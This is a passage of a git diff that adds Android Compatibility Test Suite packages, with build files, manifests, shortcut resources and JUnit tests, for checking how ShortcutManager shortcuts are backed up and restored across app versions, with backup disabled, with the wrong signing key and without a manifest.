+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.content.pm.cts.shortcut.backup.publisher4"
+    android:versionCode="11">
+
+    <application android:allowBackup="false">
+        <activity android:name="MainActivity" android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+            <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts"/>
+        </activity>
+        <activity-alias android:name="MainActivity2"
+            android:targetActivity="android.content.pm.cts.shortcut.backup.publisher4.MainActivity"
+            android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity-alias>
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4"  />
+</manifest>
+
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.mk
new file mode 100644
index 0000000..4a712f7
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4new_nomanifest
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../publisher4old/src) \
+    $(call all-java-files-under, ../../common/src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    android-support-v4 \
+    mockito-target-minus-junit4 \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator \
+    ShortcutManagerTestUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/AndroidManifest.xml
new file mode 100644
index 0000000..ccf0382
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.content.pm.cts.shortcut.backup.publisher4"
+    android:versionCode="11">
+
+    <application>
+        <activity android:name="MainActivity" android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4"  />
+</manifest>
+
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.mk
new file mode 100644
index 0000000..9d4739e
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.mk
@@ -0,0 +1,46 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4new_wrongkey
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../publisher4old/src) \
+    $(call all-java-files-under, ../../common/src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    android-support-v4 \
+    mockito-target-minus-junit4 \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator \
+    ShortcutManagerTestUtils
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/AndroidManifest.xml
new file mode 100644
index 0000000..33e5121
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.content.pm.cts.shortcut.backup.publisher4"
+    android:versionCode="11">
+
+    <application android:allowBackup="false">
+        <activity android:name="MainActivity" android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+            <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts"/>
+        </activity>
+        <activity-alias android:name="MainActivity2"
+            android:targetActivity="android.content.pm.cts.shortcut.backup.publisher4.MainActivity"
+            android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity-alias>
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4"  />
+</manifest>
+
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.mk
new file mode 100644
index 0000000..b7187f0
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.mk
@@ -0,0 +1,42 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4old
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+    $(call all-java-files-under, ../../common/src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    android-support-v4 \
+    mockito-target-minus-junit4 \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator \
+    ShortcutManagerTestUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4old/AndroidManifest.xml
new file mode 100644
index 0000000..149c351
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.content.pm.cts.shortcut.backup.publisher4"
+    android:versionCode="10">
+
+    <application>
+        <activity android:name="MainActivity" android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+            <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts"/>
+        </activity>
+        <activity-alias android:name="MainActivity2"
+            android:targetActivity="android.content.pm.cts.shortcut.backup.publisher4.MainActivity"
+            android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity-alias>
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4"  />
+</manifest>
+
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_16x16.png b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_16x16.png
new file mode 100644
index 0000000..a26da5c
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_16x16.png
Binary files differ
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_16x64.png b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_16x64.png
new file mode 100644
index 0000000..ed049fa
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_16x64.png
Binary files differ
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_64x16.png b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_64x16.png
new file mode 100644
index 0000000..a0983c7
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_64x16.png
Binary files differ
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/values/strings.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/values/strings.xml
new file mode 100644
index 0000000..5872ed1
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/values/strings.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="label1">Shortcut 1</string>
+    <string name="long_label1">Long shortcut label1</string>
+    <string name="disabled_message1">Shortcut 1 is disabled</string>
+
+    <string name="label2">Shortcut 2</string>
+    <string name="long_label2">Long shortcut label2</string>
+    <string name="disabled_message2">Shortcut 2 is disabled</string>
+
+    <string name="label3">Shortcut 3</string>
+    <string name="long_label3">Long shortcut label3</string>
+    <string name="disabled_message3">Shortcut 3 is disabled</string>
+
+    <string name="label4">Shortcut 4</string>
+    <string name="long_label4">Long shortcut label4</string>
+    <string name="disabled_message4">Shortcut 4 is disabled</string>
+
+    <string name="label5">Shortcut 5</string>
+    <string name="long_label5">Long shortcut label5</string>
+    <string name="disabled_message5">Shortcut 5 is disabled</string>
+</resources>
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/xml/shortcuts.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/xml/shortcuts.xml
new file mode 100644
index 0000000..11cede6
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/xml/shortcuts.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<shortcuts xmlns:android="http://schemas.android.com/apk/res/android" >
+    <shortcut
+        android:shortcutId="ms1"
+        android:icon="@drawable/black_16x16"
+        android:shortcutShortLabel="@string/label1"
+        android:shortcutLongLabel="@string/long_label1"
+        android:shortcutDisabledMessage="@string/disabled_message1">
+        <intent
+            android:action="android.intent.action.VIEW" />
+        <categories android:name="android.shortcut.conversation" />
+        <categories android:name="android.shortcut.media" />
+    </shortcut>
+    <shortcut
+        android:shortcutId="ms2"
+        android:shortcutShortLabel="@string/label2">
+        android:shortcutLongLabel="@string/long_label2">
+        <intent android:action="action" />
+        <intent android:action="action2"
+            android:data="data"
+            android:mimeType="a/b"
+            android:targetPackage="pkg"
+            android:targetClass="pkg.class"
+            >
+            <categories android:name="icat1"/>
+            <categories android:name="icat2"/>
+            <extra android:name="key1" android:value="value1" />
+            <extra android:name="key2" android:value="123" />
+            <extra android:name="key3" android:value="true" />
+        </intent>
+    </shortcut>
+</shortcuts>
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/MainActivity.java b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/MainActivity.java
new file mode 100644
index 0000000..62acf9d
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/MainActivity.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcut.backup.publisher4;
+
+import android.app.Activity;
+
+public class MainActivity extends Activity {
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
new file mode 100644
index 0000000..224c8ba
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
@@ -0,0 +1,339 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcut.backup.publisher4;
+
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertWith;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.list;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.setDefaultLauncher;
+
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ShortcutInfo;
+import android.content.pm.cts.shortcut.device.common.ShortcutManagerDeviceTestBase;
+import android.os.PersistableBundle;
+import android.text.TextUtils;
+
+import java.security.SecureRandom;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class ShortcutManagerPostBackupTest extends ShortcutManagerDeviceTestBase {
+    public void testRestoredOnOldVersion() {
+        assertWith(getManager().getDynamicShortcuts())
+                .isEmpty();
+
+        assertWith(getManager().getPinnedShortcuts())
+                .haveIds("ms1", "ms2")
+                .areAllEnabled();
+
+        assertWith(getManager().getManifestShortcuts())
+                .haveIds("ms1", "ms2")
+                .areAllPinned()
+                .areAllEnabled();
+
+        // At this point, s1 and s2 don't look to exist to the publisher, so it can publish a
+        // dynamic shortcut and that should work.
+        // But updateShortcuts() don't.
+
+        final ShortcutInfo s1 = new ShortcutInfo.Builder(getContext(), "s1")
+                .setShortLabel("shortlabel1_new_one")
+                .setActivity(getActivity("MainActivity"))
+                .setIntents(new Intent[]{new Intent("main")})
+                .build();
+
+        assertTrue(getManager().addDynamicShortcuts(list(s1)));
+
+        final ShortcutInfo s2 = new ShortcutInfo.Builder(getContext(), "s2")
+                .setShortLabel("shortlabel2_updated")
+                .build();
+        assertTrue(getManager().updateShortcuts(list(s2)));
+
+        assertWith(getManager().getDynamicShortcuts())
+                .haveIds("s1") // s2 not in the list.
+                .areAllEnabled();
+
+        assertWith(getManager().getPinnedShortcuts())
+                .haveIds("ms1", "ms2", "s1") // s2 not in the list.
+                .areAllEnabled();
+
+    }
+
+    public void testRestoredOnNewVersion() {
+        assertWith(getManager().getDynamicShortcuts())
+                .haveIds("s1")
+                .areAllEnabled()
+                .areAllPinned();
+
+        assertWith(getManager().getManifestShortcuts())
+                .haveIds("ms1", "ms2")
+                .areAllPinned()
+                .areAllEnabled();
+
+        assertWith(getManager().getPinnedShortcuts())
+                .haveIds("ms1", "ms2", "s1", "s2")
+                .areAllEnabled();
+
+        // This time, update should work.
+        final ShortcutInfo s2 = new ShortcutInfo.Builder(getContext(), "s2")
+                .setShortLabel("shortlabel2_updated")
+                .build();
+        assertTrue(getManager().updateShortcuts(list(s2)));
+
+        assertWith(getManager().getPinnedShortcuts())
+                .selectByIds("s2")
+                .forAllShortcuts(si -> {
+                    assertEquals("shortlabel2_updated", si.getShortLabel());
+                });
+    }
+
+    public void testBackupDisabled() {
+        assertWith(getManager().getDynamicShortcuts())
+                .isEmpty();
+
+        assertWith(getManager().getPinnedShortcuts())
+                .haveIds("ms1", "ms2")
+                .areAllEnabled();
+
+        assertWith(getManager().getManifestShortcuts())
+                .haveIds("ms1", "ms2")
+                .areAllPinned()
+                .areAllEnabled();
+
+        // Backup was disabled, so either s1 nor s2 look to be restored to the app.
+        // So when the app publishes s1, it'll be published as new.
+        // But it'll still be pinned.
+        final ShortcutInfo s1 = new ShortcutInfo.Builder(getContext(), "s1")
+                .setShortLabel("shortlabel1_new_one")
+                .setActivity(getActivity("MainActivity"))
+                .setIntents(new Intent[]{new Intent("main")})
+                .build();
+
+        assertTrue(getManager().addDynamicShortcuts(list(s1)));
+
+        assertWith(getManager().getDynamicShortcuts())
+                .haveIds("s1") // s2 not in the list.
+                .areAllPinned()
+                .areAllEnabled()
+                .forAllShortcuts(si -> {
+                    // The app re-published the shortcut, not updated, so the fields that existed
+                    // in the original shortcut is gone now.
+                    assertNull(si.getExtras());
+                });
+    }
+
+    public void testRestoreWrongKey() {
+        // Restored pinned shortcuts are from a package with a different signature, so the dynamic
+        // pinned shortcuts should be disabled-invisible.
+
+        assertWith(getManager().getDynamicShortcuts())
+                .isEmpty();
+
+        assertWith(getManager().getPinnedShortcuts())
+                .haveIds("ms1", "ms2");
+
+        assertWith(getManager().getManifestShortcuts())
+                .haveIds("ms1", "ms2")
+                .areAllPinned()
+                .areAllEnabled();
+
+        final ShortcutInfo s1 = new ShortcutInfo.Builder(getContext(), "s1")
+                .setShortLabel("shortlabel1_new_one")
+                .setActivity(getActivity("MainActivity"))
+                .setIntents(new Intent[]{new Intent("main")})
+                .build();
+
+        assertTrue(getManager().addDynamicShortcuts(list(s1)));
+
+        final ShortcutInfo s2 = new ShortcutInfo.Builder(getContext(), "s2")
+                .setShortLabel("shortlabel2_updated")
+                .build();
+        assertTrue(getManager().updateShortcuts(list(s2)));
+
+        assertWith(getManager().getDynamicShortcuts())
+                .haveIds("s1") // s2 not in the list.
+                .areAllEnabled();
+    }
+
+    /**
+     * Restored on an older version that have no manifest shortcuts.
+     *
+     * In this case, the publisher wouldn't see the manifest shortcuts, and they're overwritable.
+     */
+    public void testRestoreNoManifestOnOldVersion() {
+        assertWith(getManager().getManifestShortcuts())
+                .isEmpty();
+
+        assertWith(getManager().getDynamicShortcuts())
+                .isEmpty();
+
+        assertWith(getManager().getPinnedShortcuts())
+                .isEmpty();
+
+        // ms1 was manifest/immutable, but can be overwritten.
+        final ShortcutInfo ms1 = new ShortcutInfo.Builder(getContext(), "ms1")
+                .setShortLabel("ms1_new_one")
+                .setActivity(getActivity("MainActivity"))
+                .setIntents(new Intent[]{new Intent("main")})
+                .build();
+
+        assertTrue(getManager().setDynamicShortcuts(list(ms1)));
+
+        assertWith(getManager().getDynamicShortcuts())
+                .haveIds("ms1");
+        assertWith(getManager().getPinnedShortcuts())
+                .haveIds("ms1");
+
+        // Adding s1 should also work.
+        final ShortcutInfo s1 = new ShortcutInfo.Builder(getContext(), "s1")
+                .setShortLabel("s1_new_one")
+                .setActivity(getActivity("MainActivity"))
+                .setIntents(new Intent[]{new Intent("main")})
+                .build();
+
+        assertTrue(getManager().addDynamicShortcuts(list(s1)));
+
+        assertWith(getManager().getDynamicShortcuts())
+                .haveIds("s1", "ms1");
+        assertWith(getManager().getPinnedShortcuts())
+                .haveIds("s1", "ms1");
+
+        // Update on ms2 should be no-op.
+        final ShortcutInfo ms2 = new ShortcutInfo.Builder(getContext(), "ms2")
+                .setShortLabel("ms2-updated")
+                .build();
+        assertTrue(getManager().updateShortcuts(list(ms2)));
+
+        assertWith(getManager().getManifestShortcuts())
+                .isEmpty();
+        assertWith(getManager().getDynamicShortcuts())
+                .haveIds("s1", "ms1")
+                .areAllEnabled()
+                .areAllPinned()
+                .areAllMutable()
+
+                .selectByIds("s1")
+                .forAllShortcuts(si -> {
+                    assertEquals("s1_new_one", si.getShortLabel());
+                })
+
+                .revertToOriginalList()
+                .selectByIds("ms1")
+                .forAllShortcuts(si -> {
+                    assertEquals("ms1_new_one", si.getShortLabel());
+                });
+    }
+
+    /**
+     * Restored on the same (or newer) version that have no manifest shortcuts.
+     *
+     * In this case, the publisher will see the manifest shortcuts (as immutable pinned),
+     * and they *cannot* be overwritten.
+     */
+    public void testRestoreNoManifestOnNewVersion() {
+        assertWith(getManager().getManifestShortcuts())
+                .isEmpty();
+
+        assertWith(getManager().getDynamicShortcuts())
+                .isEmpty();
+
+        assertWith(getManager().getPinnedShortcuts())
+                .haveIds("ms1", "ms2", "s1", "s2")
+                .selectByIds("ms1", "ms2")
+                .areAllDisabled()
+
+                .revertToOriginalList()
+                .selectByIds("s1", "s2")
+                .areAllEnabled();
+    }
+
+    private void assertNoShortcuts() {
+        assertWith(getManager().getDynamicShortcuts()).isEmpty();
+        assertWith(getManager().getPinnedShortcuts()).isEmpty();
+        assertWith(getManager().getManifestShortcuts()).isEmpty();
+    }
+
+    public void testInvisibleIgnored() throws Exception {
+        assertNoShortcuts();
+
+        // Make sure "disable" won't change the disabled reason. Also make sure "enable" won't
+        // enable them.
+        getManager().disableShortcuts(list("s1", "s2", "ms1"));
+        assertNoShortcuts();
+
+        getManager().enableShortcuts(list("ms1", "s2"));
+        assertNoShortcuts();
+
+        getManager().enableShortcuts(list("ms1"));
+        assertNoShortcuts();
+
+        getManager().removeDynamicShortcuts(list("s1", "ms1"));
+        assertNoShortcuts();
+
+        getManager().removeAllDynamicShortcuts();
+        assertNoShortcuts();
+
+
+        // Force launcher 4 to be the default launcher so it'll receive the pin request.
+        setDefaultLauncher(getInstrumentation(),
+                "android.content.pm.cts.shortcut.backup.launcher4/.MainActivity");
+
+        // Update, set and add have been tested already, so let's test "pin".
+
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        PersistableBundle pb = new PersistableBundle();
+        pb.putBoolean("acceptit", true);
+
+        final ShortcutInfo ms2 = new ShortcutInfo.Builder(getContext(), "ms2")
+                .setShortLabel("ms2_new_one")
+                .setActivity(getActivity("MainActivity"))
+                .setIntents(new Intent[]{new Intent("main2")})
+                .setExtras(pb)
+                .build();
+
+        final String myIntentAction = "cts-shortcut-intent_" + new SecureRandom().nextInt();
+        final IntentFilter myFilter = new IntentFilter(myIntentAction);
+
+        final BroadcastReceiver onResult = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                latch.countDown();
+            }
+        };
+        getContext().registerReceiver(onResult, myFilter);
+        assertTrue(getManager().requestPinShortcut(ms2,
+                PendingIntent.getBroadcast(getContext(), 0, new Intent(myIntentAction),
+                        PendingIntent.FLAG_CANCEL_CURRENT).getIntentSender()));
+
+        assertTrue("Didn't receive requestPinShortcut() callback.",
+                latch.await(30, TimeUnit.SECONDS));
+
+        assertWith(getManager().getPinnedShortcuts())
+                .haveIds("ms2")
+                .areAllNotDynamic()
+                .areAllNotManifest()
+                .areAllMutable()
+                .areAllPinned()
+                .forAllShortcuts(si -> {
+                    // requestPinShortcut() acts as an update in this case, so even though
+                    // the original shortcut hada  long label, this one does not.
+                    assertTrue(TextUtils.isEmpty(si.getLongLabel()));
+                });
+    }
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPreBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPreBackupTest.java
new file mode 100644
index 0000000..15b3853
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPreBackupTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcut.backup.publisher4;
+
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertWith;
